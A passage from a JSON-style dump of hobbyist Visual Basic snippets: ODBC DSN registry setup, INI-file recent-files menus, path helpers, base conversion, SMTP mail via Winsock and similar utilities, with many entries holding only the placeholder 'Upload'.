szKeyValue, Len(szKeyValue))\n \n szKeyValue = szDriverName\n lRes = RegSetValueExString(hKey, \"Driver\", 0&, REG_SZ, _\n szKeyValue, Len(szKeyValue))\n \n szKeyValue = \"MS Access;\"\n lRes = RegSetValueExString(hKey, \"FIL\", 0&, REG_SZ, _\n szKeyValue, Len(szKeyValue))\n \n lKeyValue = 25\n lRes = RegSetValueExLong(hKey, \"DriverId\", 0&, REG_DWORD, _\n lKeyValue, 4)\n \n lKeyValue = 0\n lRes = RegSetValueExLong(hKey, \"SafeTransactions\", 0&, REG_DWORD, _\n lKeyValue, 4)\n \n lRes = RegCloseKey(hKey)\n szKeyPath = \"SOFTWARE\\ODBC\\ODBC.INI\\\" & szWantedDSN & \"\\Engines\\Jet\"\n \n lRes = RegCreateKey(HKEY_LOCAL_MACHINE, _\n szKeyPath, _\n hKey)\n \n If lRes <> ERROR_SUCCESS Then\n createAccessDSN = False\n Exit Function\n End If\n lRes = RegSetValueExString(hKey, \"ImplicitCommitSync\", 0&, REG_SZ, _\n szEmpty, Len(szEmpty))\n \n szKeyValue = \"Yes\"\n lRes = RegSetValueExString(hKey, \"UserCommitSync\", 0&, REG_SZ, _\n szKeyValue, Len(szKeyValue))\n \n lKeyValue = 2048\n lRes = RegSetValueExLong(hKey, \"MaxBufferSize\", 0&, REG_DWORD, _\n lKeyValue, 4)\n \n lKeyValue = 5\n lRes = RegSetValueExLong(hKey, \"PageTimeout\", 0&, REG_DWORD, _\n lKeyValue, 4)\n \n lKeyValue = 3\n lRes = RegSetValueExLong(hKey, \"Threads\", 0&, REG_DWORD, _\n lKeyValue, 4)\n \n lRes = RegCloseKey(hKey)\n lRes = RegCreateKey(HKEY_LOCAL_MACHINE, _\n \"SOFTWARE\\ODBC\\ODBC.INI\\ODBC Data Sources\", _\n hKey)\n \n If lRes <> ERROR_SUCCESS Then\n createAccessDSN = False\n Exit Function\n End If\n \n szKeyValue = \"Microsoft Access Driver (*.mdb)\"\n lRes = RegSetValueExString(hKey, szWantedDSN, 0&, REG_SZ, _\n szKeyValue, Len(szKeyValue))\n \n lRes = RegCloseKey(hKey)\n createAccessDSN = True\nEnd Function\n'anywhere in application\n \n Dim szDriverName As String\n Dim szWantedDSN As String\n \n szDriverName = String(255, Chr(32))\n szWantedDSN = \"MyAccess_ODBC\"\n 'is access drivers installed?\n If Not checkAccessDriver(szDriverName) Then\n MsgBox \"You must Install Access ODBC Drivers before use this program.\", vbOK + vbCritical\n End If\n \n'is our dsn exist?\nIf Not (checkWantedAccessDSN(szWantedDSN)) Then\n If szDriverName = \"\" Then\n MsgBox \"Can't find access ODBC driver.\", vbOK + vbCritical\n Else\n If Not createAccessDSN(szDriverName, szWantedDSN) Then\n MsgBox \"Can't create database ODBC.\", vbOK + vbCritical\n End If\n End If\nEnd If\n \n"},{"WorldId":1,"id":5230,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5240,"LineNumber":1,"line":"'generate random value between minVal and maxVal inclusive\n'or return -1 if any error\nPublic Function GenerateRandom(minVal As Long, maxVal As Long) As Long\n \n intr = -1\n \n maxVal = maxVal + 1\n \n If maxVal > 0 Then\n If minVal >= maxVal Then\n minVal = 0\n End If\n Else\n minVal = 0\n maxVal = 10\n End If\n \n Randomize (DatePart(\"s\", Now) + DatePart(\"m\", Now))\n \n \n Do While (intr < minVal Or intr = maxVal)\n intr = CLng(Rnd() * maxVal)\n Loop\n GenerateRandom = intr\nEnd Function\n"},{"WorldId":1,"id":5248,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5250,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim oldstring As String, newletter As String, oldletter As String, newstring As String\n oldstring = \"hello To the world\"\n newletter = \"YEAH\"\n oldletter = \"hello\"\n newstring = Replace(oldstring, newletter, oldletter)\n MsgBox newstring\nEnd Sub\n\nPublic Function Replace(oldstring, newletter, oldletter) As String\n Dim i As Integer\n i = 1\n\n Do While InStr(i, oldstring, oldletter, vbTextCompare) <> 0\n Replace = Replace & Mid(oldstring, i, InStr(i, oldstring, oldletter, vbTextCompare) - i) & newletter\n i = InStr(i, oldstring, oldletter, vbTextCompare) + Len(oldletter)\n Loop\n Replace = Replace & Right(oldstring, Len(oldstring) - i + 1)\nEnd Function\n"},{"WorldId":1,"id":5251,"LineNumber":1,"line":"'API declarations\nPublic Declare Function GetLongPathName Lib \"kernel32\" Alias \"GetLongPathNameA\" (ByVal lpszShortPath As String, ByVal lpszLongPath As String, ByVal cchBuffer As Long) As Long\nPublic Declare Function GetShortPathName Lib \"kernel32\" Alias \"GetShortPathNameA\" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long\nPublic Function AddBackSlash(ByVal sPath As String) As String\n'Returns sPath with a trailing backslash if sPath does not\n'already have a trailing backslash. Otherwise, returns sPath.\n sPath = Trim$(sPath)\n If Len(sPath) > 0 Then\n sPath = sPath & IIf(Right$(sPath, 1) <> \"\\\", \"\\\", \"\")\n End If\n AddBackSlash = sPath\n \nEnd Function\nPublic Function GetLongFilename(ByVal sShortFilename As String) As String\n'Returns the Long Filename associated with sShortFilename\nDim lRet As Long\nDim sLongFilename As String\n 'First attempt using 1024 character buffer.\n sLongFilename = String$(1024, \" \")\n lRet = GetLongPathName(sShortFilename, sLongFilename, Len(sLongFilename))\n \n 'If buffer is too small lRet contains buffer size needed.\n If lRet > Len(sLongFilename) Then\n 'Increase buffer size...\n sLongFilename = String$(lRet + 1, \" \")\n 'and try again.\n lRet = GetLongPathName(sShortFilename, sLongFilename, Len(sLongFilename))\n End If\n \n 'lRet contains the number of characters returned.\n If lRet > 0 Then\n GetLongFilename = Left$(sLongFilename, lRet)\n End If\n \nEnd Function\nPublic Function GetShortFilename(ByVal sLongFilename As String) As String\n'Returns the Short Filename associated with sLongFilename\nDim lRet As Long\nDim sShortFilename As String\n 'First attempt using 1024 character buffer.\n sShortFilename = String$(1024, \" \")\n lRet = GetShortPathName(sLongFilename, sShortFilename, Len(sShortFilename))\n \n 'If buffer is too small lRet contains buffer size needed.\n If lRet > Len(sShortFilename) Then\n 'Increase buffer size...\n sShortFilename = String$(lRet + 1, \" \")\n 'and try again.\n lRet = GetShortPathName(sLongFilename, sShortFilename, Len(sShortFilename))\n End If\n \n 'lRet contains the number of characters returned.\n If lRet > 0 Then\n GetShortFilename = Left$(sShortFilename, lRet)\n End If\n \nEnd Function\nPublic Function RemoveBackSlash(ByVal sPath As String) As String\n'Returns sPath without a trailing backslash if sPath\n'has one. Otherwise, returns sPath.\n \n sPath = Trim$(sPath)\n If Len(sPath) > 0 Then\n sPath = Left$(sPath, Len(sPath) - IIf(Right$(sPath, 1) = \"\\\", 1, 0))\n End If\n RemoveBackSlash = sPath\n \nEnd Function\nPublic Function AppPath() As String\n'Returns App.Path with backslash \"\\\"\nDim sPath As String\n sPath = App.Path\n AppPath = sPath & IIf(Right$(sPath, 1) <> \"\\\", \"\\\", \"\")\n \nEnd Function\nPublic Function Exists(ByVal sFilename As String) As Boolean\n'Returns True if File Exists.\n'Else returns False.\n If Len(Trim$(sFilename)) > 0 Then\n On Error Resume Next\n sFilename = Dir$(sFilename)\n Exists = ((Err.Number = 0) And (Len(sFilename) > 0))\n Else\n Exists = False\n End If\n \nEnd Function\nPublic Function GetFilePath(ByVal sFilename As String, Optional ByVal bAddBackslash As Boolean) As String\n'Returns Path Without FileTitle\nDim lPos As Long\n lPos = InStrRev(sFilename, \"\\\")\n If lPos > 0 Then\n GetFilePath = Left$(sFilename, lPos - 1) _\n & IIf(bAddBackslash, \"\\\", \"\")\n Else\n GetFilePath = \"\"\n End If\n \nEnd Function\nPublic Function GetFileTitle(ByVal sFilename As String) As String\n'Returns FileTitle Without Path\nDim lPos As Long\n lPos = InStrRev(sFilename, \"\\\")\n If lPos > 0 Then\n If lPos < Len(sFilename) Then\n GetFileTitle = Mid$(sFilename, lPos + 1)\n Else\n GetFileTitle = \"\"\n End If\n Else\n GetFileTitle = sFilename\n End If\n \nEnd Function\n"},{"WorldId":1,"id":5252,"LineNumber":1,"line":"'sDefInitFileName is setup as (AppPath\\AppEXEName.Ini)\n'and is used as the Default Initialization Filename\nPrivate sDefInitFileName As String\nDeclare Function GetPrivateProfileString Lib \"kernel32\" Alias \"GetPrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long\nDeclare Function WritePrivateProfileString Lib \"kernel32\" Alias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long\nPublic Sub AddRecentFile(ByVal sNewFileName As String, mnuRecent As Variant, Optional ByVal iMaxEntries As Integer = 8, Optional ByVal iMaxFileNameLen As Integer = 60)\nDim lRet As Long\nDim iArrayCnt As Integer\nDim iFileCnt As Integer\nDim sFilename As String\nDim saFiles() As String\n ReDim saFiles(iMaxEntries)\n \n 'Add New File at First Position\n saFiles(0) = sNewFileName\n \n 'Get all Files in Init File\n iFileCnt = 1\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt), \"\")\n While Len(sFilename) > 0 And iArrayCnt < iMaxEntries\n 'Don't get New File Again\n If LCase$(sFilename) <> LCase$(sNewFileName) Then\n iArrayCnt = iArrayCnt + 1\n saFiles(iArrayCnt) = sFilename\n End If\n iFileCnt = iFileCnt + 1\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt), \"\")\n Wend\n \n 'Release Excess Memory\n ReDim Preserve saFiles(iArrayCnt)\n \n 'Clean up the Init File (Deletes the Entire \"Recent Files\" Section)\n lRet = SetInitEntry(\"Recent Files\")\n \n 'Put Files Back Into Init File in Their New Order\n For iFileCnt = 0 To iArrayCnt\n lRet = SetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt + 1), saFiles(iFileCnt))\n Next iFileCnt\n \n 'Retrieve Ordered Files Back Into Menu\n Call GetRecentFiles(mnuRecent, iMaxEntries, iMaxFileNameLen)\n \n 'Checkmark First Recent File\n mnuRecent(0).Checked = (mnuRecent(0).Caption <> \"(Empty)\")\n \nEnd Sub\nPublic Sub GetRecentFiles(mnuRecent As Variant, Optional ByVal iMaxEntries As Integer = 8, Optional ByVal iMaxFileNameLen As Integer = 60)\n'mnuRecent Must Be a Menu Array. At Design Time, create\n'the first mnuRecent(0) with the Caption set to \"(Empty)\"\n'and Disable it.\nDim iIdx As Integer\nDim iFileCnt As Integer\nDim iFullCnt As Integer\nDim iMenuCnt As Integer\nDim sFilename As String\n On Error GoTo LocalError\n \n 'Get the Menu Count\n iMenuCnt = mnuRecent.UBound\n \n 'Unload all but first Menu\n For iIdx = 1 To iMenuCnt\n Unload mnuRecent(iIdx)\n Next iIdx\n mnuRecent(0).Checked = False\n mnuRecent(0).Tag = \"\"\n mnuRecent(0).Enabled = False\n mnuRecent(0).Caption = \"(Empty)\"\n \n 'Get First Entry In InitFile\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFullCnt + 1), \"\")\n While Len(sFilename) > 0 And iFileCnt <= iMaxEntries\n If Exists(sFilename) Then\n 'Load Menu Item if Not First Item\n If iFileCnt > 0 Then\n Load mnuRecent(iFileCnt)\n End If\n 'Create Menu Caption\n 'ex. \"&1 C:\\DirName\\DirName\\FileName\"\n mnuRecent(iFileCnt).Caption = \"&\" & CStr(iFileCnt + 1) & \" \" & _\n ShortenFileName(sFilename, iMaxFileNameLen)\n 'Menu.Tag Contains Actual Filename.\n 'Menu.Caption May Contain A Shortened Version Of It.\n mnuRecent(iFileCnt).Tag = sFilename\n mnuRecent(iFileCnt).Enabled = True\n mnuRecent(iFileCnt).Visible = True\n iFileCnt = iFileCnt + 1\n End If\n iFullCnt = iFullCnt + 1\n 'Get Next Entry\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFullCnt + 1), \"\")\n 'Loops If Next Entry Is Valid\n Wend\nNormalExit:\n Exit Sub\n \nLocalError:\n MsgBox Err.Description, vbExclamation, App.EXEName\n Resume NormalExit\n \nEnd Sub\nPrivate Function Exists(ByVal sFilename As String) As Boolean\n If Len(Trim$(sFilename)) > 0 Then\n On Error Resume Next\n sFilename = Dir$(sFilename)\n Exists = Err.Number = 0 And Len(sFilename) > 0\n Else\n Exists = False\n End If\n \nEnd Function\nPublic Sub RemoveRecentFile(ByVal sRemoveFileName As String, mnuRecent As Variant, Optional ByVal iMaxEntries As Integer = 8, Optional ByVal iMaxFileNameLen As Integer = 60)\nDim lRet As Long\nDim iArrayCnt As Integer\nDim iFileCnt As Integer\nDim sFilename As String\nDim saFiles() As String\n ReDim saFiles(iMaxEntries)\n \n 'Get all Files in Init File\n iFileCnt = 1\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt), \"\")\n While Len(sFilename) > 0 And iArrayCnt < iMaxEntries\n 'Don't get the File to be removed\n If LCase$(sFilename) <> LCase$(sRemoveFileName) Then\n saFiles(iArrayCnt) = sFilename\n iArrayCnt = iArrayCnt + 1\n End If\n iFileCnt = iFileCnt + 1\n sFilename = GetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt), \"\")\n Wend\n \n 'Release Excess Memory\n ReDim Preserve saFiles(iArrayCnt - 1)\n \n 'Clean up the Init File (Deletes the Entire \"Recent Files\" Section)\n lRet = SetInitEntry(\"Recent Files\")\n \n 'Put Files Back Into Init File Without the Removed File\n For iFileCnt = 0 To iArrayCnt - 1\n lRet = SetInitEntry(\"Recent Files\", \"File \" & CStr(iFileCnt + 1), saFiles(iFileCnt))\n Next iFileCnt\n \n 'Retrieve Ordered Files Back Into Menu\n Call GetRecentFiles(mnuRecent, iMaxEntries, iMaxFileNameLen)\n \nEnd Sub\nPublic Function ShortenFileName(ByVal sFilename As String, ByVal intMaxLen As Integer) As String\nDim iLen As Integer\nDim iSlashPos As Integer\n On Error GoTo LocalError\n \n 'If Filename Is Longer Than MaxLen\n If Len(sFilename) > intMaxLen Then\n 'Make Room For \"...\"\n iLen = intMaxLen - 3\n 'Find First \"\\\"\n iSlashPos = InStr(sFilename, \"\\\")\n 'Loop Until Filename is Shorter Than MaxLen\n While (iSlashPos > 0) And (Len(sFilename) > iLen)\n sFilename = Mid$(sFilename, iSlashPos)\n 'Find Next \"\\\"\n iSlashPos = InStr(2, sFilename, \"\\\")\n Wend\n 'If No \"\\\" Was Found (FailSafe - This Should Not Happen)\n If Len(sFilename) > iLen Then\n '\"Very Long FileName\" = \"...ong Filename\"\n sFilename = \"...\" & Mid$(sFilename, Len(sFilename) - iLen + 1)\n Else\n '\"C:\\Dir1\\Dir2\\Dir3\\File\" = \"...\\Dir2\\Dir3\\File\"\n sFilename = \"...\" & sFilename\n End If\n \n End If\n \n 'Set Return Filename\n ShortenFileName = sFilename\nNormalExit:\n Exit Function\n \nLocalError:\n MsgBox Err.Description, vbExclamation, App.EXEName\n Resume NormalExit\nEnd Function\nPublic Function GetInitEntry(ByVal sSection As String, ByVal sKeyName As String, Optional ByVal sDefault As String = \"\", Optional ByVal sInitFileName As String = \"\") As String\n'This Function Reads In a String From The Init File.\n'Returns Value From Init File or sDefault If No Value Exists.\n'sDefault Defaults to an Empty String (\"\").\n'Creates and Uses sDefInitFileName (AppPath\\AppEXEName.Ini)\n'if sInitFileName Parameter Is Not Passed In.\nDim sBuffer As String\nDim sInitFile As String\n 'If Init Filename NOT Passed In\n If Len(sInitFileName) = 0 Then\n 'If Static Init FileName NOT Already Created\n If Len(sDefInitFileName) = 0 Then\n 'Create Static Init FileName\n sDefInitFileName = App.Path\n If Right$(sDefInitFileName, 1) <> \"\\\" Then\n sDefInitFileName = sDefInitFileName & \"\\\"\n End If\n sDefInitFileName = sDefInitFileName & App.EXEName & \".ini\"\n End If\n sInitFile = sDefInitFileName\n Else 'If Init Filename Passed In\n sInitFile = sInitFileName\n End If\n \n sBuffer = String$(2048, \" \")\n GetInitEntry = Left$(sBuffer, GetPrivateProfileString(sSection, ByVal sKeyName, sDefault, sBuffer, Len(sBuffer), sInitFile))\nEnd Function\nPublic Function SetInitEntry(ByVal sSection As String, Optional ByVal sKeyName As String, Optional ByVal sValue As String, Optional ByVal sInitFileName As String = \"\") As Long\n'This Function Writes a String To The Init File.\n'Returns WritePrivateProfileString Success or Error.\n'Creates and Uses sDefInitFileName (AppPath\\AppEXEName.Ini)\n'if sInitFileName Parameter Is Not Passed In.\n'***** CAUTION *****\n'If sValue is Null then sKeyName is deleted from the Init File.\n'If sKeyName is Null then sSection is deleted from the Init File.\nDim sInitFile As String\n 'If Init Filename NOT Passed In\n If Len(sInitFileName) = 0 Then\n 'If Static Init FileName NOT Already Created\n If Len(sDefInitFileName) = 0 Then\n 'Create Static Init FileName\n sDefInitFileName = App.Path\n If Right$(sDefInitFileName, 1) <> \"\\\" Then\n sDefInitFileName = sDefInitFileName & \"\\\"\n End If\n sDefInitFileName = sDefInitFileName & App.EXEName & \".ini\"\n End If\n sInitFile = sDefInitFileName\n Else 'If Init Filename Passed In\n sInitFile = sInitFileName\n End If\n \n If Len(sKeyName) > 0 And Len(sValue) > 0 Then\n SetInitEntry = WritePrivateProfileString(sSection, ByVal sKeyName, ByVal sValue, sInitFile)\n ElseIf Len(sKeyName) > 0 Then\n SetInitEntry = WritePrivateProfileString(sSection, ByVal sKeyName, vbNullString, sInitFile)\n Else\n SetInitEntry = WritePrivateProfileString(sSection, vbNullString, vbNullString, sInitFile)\n End If\nEnd Function\n"},{"WorldId":1,"id":5253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5254,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5257,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5258,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5285,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5287,"LineNumber":1,"line":"Private Sub Form_Load()\n Me.KeyPreview = True\nEnd Sub\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n If (Shift = vbAltMask) Then\n Select Case KeyCode\n Case vbKeyF4\n KeyCode = 0\n End Select\n End If\nEnd Sub"},{"WorldId":1,"id":5305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5320,"LineNumber":1,"line":"'If you want to use this in a program, e-mail me for permission... Howabout you just e-mail me the program when you're done so I can mess with it instead. That's the only reason I have that permission thing anyways.\nFunction Base(BaseNum As Integer, Number As Integer, ClipZeros As Boolean) As String\nDim i As Integer, MB As Integer, endstr As String\nIf BaseNum > 9 Or BaseNum < 2 Then Exit Function 'Filter out \"bad\" numbers\nMB = MaxBit(BaseNum) 'Get the maximum amount of bits possible\nendstr$ = \"\" 'I know, this isn't needed... But it makes me feel secure :)\nIf MB = 0 Then Exit Function 'This also makes me feel secure\nFor i = 1 To MB 'You know this\n If BaseNum ^ (MB - i) <= Number Then 'If I can get one of the BaseNum ^ (MB - i)'s out of Number\n endstr$ = endstr$ & Int(Number / (BaseNum ^ (MB - i))) 'This will see how many BaseNum things are in Number, and put them in as a digit on the end string\n Number = Number - (Int(Number / (BaseNum ^ (MB - i))) * (BaseNum ^ (MB - i))) 'This will subtract everything that was put in the end string\n Else 'This is if Number fails its test\n endstr$ = endstr$ & \"0\" 'Add a 0, needed if you are going to have accuracy in here\n End If 'Comments on every line, live with it\nNext i 'Loop the i\nIf ClipZeros = True Then 'If we need to clip off the 0's at the start\n Do While Mid$(endstr$, 1, 1) = \"0\" 'When there is a zero in front...\n endstr$ = Mid$(endstr$, 2, Len(endstr$) - 1) 'Take it off...\n Loop 'And check again\nEnd If 'I don't know what to put here, sorry\nBase = endstr$ 'Return the number string to the function\nEnd Function 'End the function, what else?\nFunction Dec(OldBaseNum As Integer, Number As String) As Integer\nDim i As Integer, MB As Integer, endstr As String\nIf OldBaseNum > 9 Or OldBaseNum < 2 Then Exit Function 'Make sure the numbers are in the right area\nMB = MaxBit(OldBaseNum) 'Get the maximum possible bits without blowing up vb\nDo While Len(Number) < MB 'As long as the number doesn't have all of the extra 0's...\nNumber = \"0\" & Number 'Add another...\nLoop 'And check again\nFor i = 1 To MB 'What am I supposed to put? Sorry, I'll be serious now, just bored.\nendstr = Val(endstr$) + (OldBaseNum ^ (MB - i) * Mid(Number, i, 1)) 'This will see how much each bit is worth, and multiply it by the actual value of it\nNext i 'Bleah\nDec = Val(endstr) 'This will return the number to the function\nEnd Function 'End the function\nFunction MaxBit(BaseNum As Integer)\nDim i As Integer, MB As Integer, buffer As Integer\nOn Error GoTo GotNum 'This is needed, you'll see why\nMB = 0 'I like to do that\nFor i = 1 To 20 'Start the i \"loop\"\nbuffer = BaseNum ^ i 'Buffer isn't used, I'll explain why. Vb will give an error when it reaches above the integer limit with that exponent. Everytime it makes it, it adds to the exponent, eventually making it to the max number of bits that can be in the number string. Get it? If you don't, look at the Base function and this function VERY carefully.\nMB = MB + 1 'This adds to the exponent\nNext i 'Loops the i\nGotNum: 'This is where it goes when it reaches the max bits possible\nMaxBit = MB 'This will just return the value to the function, and send it over to the other 2\nEnd Function 'End the function, duh"},{"WorldId":1,"id":5321,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5325,"LineNumber":1,"line":"Dim sRes As String\nPrivate Sub Command1_Click()\nWinsock1.RemotePort = 25\nWinsock1.RemoteHost = your_mail_server_here 'use your mail server\nWinsock1.Connect\nDo Until Winsock1.State = 7 '7=connected\n DoEvents\nLoop\nsRes = \"0\"\nWinsock1.SendData \"MAIL FROM: \" & your_email_here & vbCrLf\nDo Until sRes = \"250\"\n DoEvents\nLoop\nsRes = \"0\"\nWinsock1.SendData \"RCPT TO: \" & someone_email_here & vbCrLf\nDo Until sRes = \"250\"\n DoEvents\nLoop\nsRes = \"0\"\nWinsock1.SendData \"DATA\" & vbCrLf\nDo Until sRes = \"354\"\n DoEvents\nLoop\nWinsock1.SendData \"FROM: \" & your_name_here & vbCrLf\nWinsock1.SendData \"SUBJECT: \" & subject_here & vbCrLf\nWinsock1.SendData Text1.Text & vbCrLf & \".\" & vbCrLf\nDo Until sRes = \"250\"\n DoEvents\nLoop\nWinsock1.Close\nMsgBox \"Mail sent!\"\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim Data As String\nDim Length As Long\nWinsock1.GetData Data\nLength = Len(Data)\nsRes = Left$(Data, 3)\nEnd Sub\n"},{"WorldId":1,"id":5336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5337,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5340,"LineNumber":1,"line":"Public Function SoundCard() As Boolean\nDim lng As Long\n lng = waveOutGetNumDevs()\n \n If lng > 0 Then\n SoundCard = True\n Exit Function\n Else\n SoundCard = False\n Exit Function\n End If\nEnd Function\nPublic Sub PlayAvi()\nDim strAviPath As String\nDim strCmdStr As String\nDim lngReturnVal As Long\n strAviPath = \"C:\\winnt\\clock.avi\"\n strCmdStr = \"play \" & strAviPath & \" fullscreen \"\n lngReturnVal = mciSendString(strCmdStr, 0&, 0, 0&)\nEnd Sub\n"},{"WorldId":1,"id":5347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5356,"LineNumber":1,"line":"'include a common dialog control on your form for this baby to work\nPublic Sub OpenLog()\nDim LogFile as integer \nOn Error GoTo exit1\n OpenLog.Flags = cdlOFNHideReadOnly Or cdlOFNExplorer\n OpenLog.CancelError = True\n OpenLog.FileName = \"C:\\JetLog\\JET_LOG.log\" ' or whatever name grabs you by ' the nads\n temp = OpenLog.FileName\n Ret = Len(Dir$(temp))\n LogFile = FreeFile\n ' Open the log file.\n Open temp For Binary Access Write As LogFile\n If Err Then\n Exit Sub\n Else\n ' Go to the end of the file so that new data can be appended.\n Seek LogFile, LOF(LogFile) + 1\n End If\n Exit Sub\nexit1: ' Executes if folder is not found\n MsgBox \"Application will create new directory 'C:\\JetLog' on your hard drive.\" & vbCrLf & \"Replace message with your own text.\", vbExclamation, \"Message\"\n CreateDirX (\"C:\\JetLog\") 'pass the path name you want to create in ' these brackets\n OpenLog_Click\nEnd Sub\nPrivate Function CreateDirX(lpPathname As String) As Long\n Dim FYL As Long\n Dim DirC As SECURITY_ATTRIBUTES\n FYL = CreateDirectory(lpPathname, DirC)\nEnd Function\n"},{"WorldId":1,"id":5357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5365,"LineNumber":1,"line":"Function Map_Line_Intersect(x1 As Long, y1 As Long, x2 As Long, y2 As Long, _\n x3 As Long, y3 As Long, x4 As Long, y4 As Long, _\n ByRef intersect As Boolean, ByRef x As Long, ByRef y As Long) As Boolean\n'Call with x1,y1,x2,y2,x3,y3,x4,y4 and returns intersect,x,y\n'\n'Where:\n' x1,y1,x2,y2,x3,y3,x4,y4 are the end points of two line segments\n'Returns:\n' intersect is true/false, and x,y is the interecting point if intersect is true\n'\n'Description:\n'\n'Line intersection test, requires a form with object Picture1\n'\n'Equations for the lines are:\n' Pa = P1 + Ua(P2 - P1)\n' Pb = P3 + Ub(P4 - P3)\n'\n'Solving for the point where Pa = Pb gives the following equations for ua and ub\n' Ua = ((x4 - x3) * (y1 - y3) - (y4 - y3) * (x1 - x3)) / ((y4 - y3) * (x2 - x1) - (x4 - x3) * (y2 - y1))\n' Ub = ((x2 - x1) * (y1 - y3) - (y2 - y1) * (x1 - x3)) / ((y4 - y3) * (x2 - x1) - (x4 - x3) * (y2 - y1))\n'\n'Substituting either of these into the corresponding equation for the line gives the intersection point.\n'For example the intersection point (x,y) is\n' x = x1 + Ua(x2 - x1)\n' y = y1 + Ua(y2 - y1)\n'\n'Notes:\n' - The denominators are the same.\n'\n' - If the denominator above is 0 then the two lines are parallel.\n'\n' - If the denominator and numerator are 0 then the two lines are coincident.\n'\n' - The equations above apply to lines, if the intersection of line segments is required then it is only\n' necessary to test if ua and ub lie between 0 and 1. Whichever one lies within that range then the\n' corresponding line segment contains the intersection point. If both lie within the range of 0 to 1 then\n' the intersection point is within both line segments.\nDim d As Double\nDim Ua As Double\nDim Ub As Double\n'Pre calc the denominator, if zero then both lines are parallel and there is no intersection\nd = ((y4 - y3) * (x2 - x1) - (x4 - x3) * (y2 - y1))\nIf d <> 0 Then\n 'Solve for the simultaneous equations\n Ua = ((x4 - x3) * (y1 - y3) - (y4 - y3) * (x1 - x3)) / d\n Ub = ((x2 - x1) * (y1 - y3) - (y2 - y1) * (x1 - x3)) / d\nEnd If\n'Could the lines intersect?\nIf Ua > 0 And Ua < 1 And Ub > 0 And Ub < 1 Then\n 'Calculate the intersection point\n x = x1 + Ua * (x2 - x1)\n y = y1 + Ua * (y2 - y1)\n 'Yes, they do\n Map_Line_Intersect = True\n intersect = True\nElse\n 'No, they do not\n Map_Line_Intersect = False\n intersect = False\nEnd If\nEnd Function\n"},{"WorldId":1,"id":5367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5371,"LineNumber":1,"line":"'How do you call these Functions?\nOption Explicit\nPrivate Sub Command1_Click()\n Text1.Text = NameByAddr(Text2)\nEnd Sub\n\nPrivate Sub Command2_Click()\n Text2.Text = AddrByName(\"www.yahoo.com\")\nEnd Sub\n\nPrivate Sub Form_Load()\n IP_Initialize\nEnd Sub\n\nPrivate Sub Form_Unload(Cancel As Integer)\n WSACleanup\nEnd Sub\n"},{"WorldId":1,"id":5375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5378,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5398,"LineNumber":1,"line":"Dim ReturnValue, I\nReturnValue = Shell(\"CALC.EXE\", 1)\t' Run Calculator.\nAppActivate ReturnValue \t' Activate the Calculator.\nFor I = 1 To 100\t' Set up counting loop.\nSendKeys I & \"{+}\", True\t' Send keystrokes to Calculator\nNext I\t' to add each value of I.\nSendKeys \"=\", True\t' Get grand total.\nSendKeys \"%{F4}\", True\t' Send ALT+F4 to close Calculator."},{"WorldId":1,"id":5411,"LineNumber":1,"line":"Function GetKeyVal(ByVal INIFileLoc As String, ByVal Section As String, ByVal Key As String)\n'This Function retrieves information from an INI File\n'INIFileLoc = The location of the INI File (ex. \"C:\\Windows\\INIFile.ini\")\n'Section = Section where the Key is held\n'Key = The Key of which you want to retrieve information\n'Checking to see if the INI File specified exists\nIf Dir(INIFileLoc) = \"\" Then MsgBox \"File Not Found: \" & INIFileLoc & vbCrLf & \"Please refer to code in function 'GetKeyVal'\", vbExclamation, \"INI File Not Found\": Exit Function\n'If INI File exists then proceed to Get Key Value\nDim RetVal As String, Worked As Integer\nRetVal = String$(255, 0)\nWorked = GetPrivateProfileString(Section, Key, \"\", RetVal, Len(RetVal), 